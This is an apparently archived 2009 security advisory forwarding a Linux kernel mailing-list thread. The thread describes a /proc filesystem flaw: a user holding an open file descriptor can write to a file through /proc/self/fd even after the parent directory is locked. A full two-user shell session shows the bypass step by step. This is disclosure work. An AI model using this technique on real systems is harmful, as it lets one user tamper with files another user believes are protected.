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/proc Filesystem Directory Permission Bypass

/proc Filesystem Directory Permission Bypass
Posted Oct 23, 2009
Authored by Pavel Machek

It appears that manipulation of file descriptors via /proc can circumvent permissions on parent directories of the file.

tags | exploit
SHA-256 | 1154b08bf5a16a661c449cdcc6299271c9f319623fdee15cd66341aec640f300

/proc Filesystem Directory Permission Bypass

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Hi!

This is forward from lkml, so no, I did not invent this
hole. Unfortunately, I do not think lkml sees this as a security hole,
so...

Jamie Lokier said:
> > > a) the current permission model under /proc/PID/fd has a security
> > > hole (which Jamie is worried about)
> >
> > I believe its bugtraq time. Being able to reopen file with additional
> > permissions looks like a security problem...
> >
> > Jamie, do you have some test script? And do you want your 15 minutes
> > of bugtraq fame? ;-).

> The reopen does check the inode permission, but it does not require
> you have any reachable path to the file. Someone _might_ use that as
> a traditional unix security mechanism, but if so it's probably quite rare.

Ok, I got this, with two users. I guess it is real (but obscure)
security hole.

So, we have this scenario. pavel/root is not doing anything interesting in
the background.

pavel@toy:/tmp$ uname -a
Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
pavel@toy:/tmp mkdir my_priv; cd my_priv
pavel@toy:/tmp/my_priv$ echo this file should never be writable > unwritable_file
# lock down directory
pavel@toy:/tmp/my_priv$ chmod 700 .
# relax file permissions, directory is private, so this is safe
# check link count on unwritable_file. We would not want someone
# to have a hard link to work around our permissions, would we?
pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file
pavel@toy:/tmp/my_priv$ cat unwritable_file
this file should never be writable
pavel@toy:/tmp/my_priv$ cat unwritable_file
got you
# Security problem here

[Please pause here for a while before reading how guest did it.]

Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.

So what did happen? User guest was able to work around directory
permissions in the background, using /proc filesystem.

guest@toy:~$ bash 3< /tmp/my_priv/unwritable_file
# Running inside nested shell
guest@toy:~$ read A <&3
guest@toy:~$ echo $A
this file should never be writable

guest@toy:~$ cd /tmp/my_priv
guest@toy:/tmp/my_priv$ ls
unwritable_file

# pavel did chmod 000, chmod 666 here
guest@toy:/tmp/my_priv$ ls
ls: cannot open directory .: Permission denied

# Linux correctly prevents guest from writing to that file
guest@toy:/tmp/my_priv$ cat unwritable_file
cat: unwritable_file: Permission denied
guest@toy:/tmp/my_priv$ echo got you >&3
bash: echo: write error: Bad file descriptor

# ...until we take a way around it with /proc filesystem. Oops.
guest@toy:/tmp/my_priv$ echo got you > /proc/self/fd/3

Pavel
--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

----- End forwarded message -----

--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html
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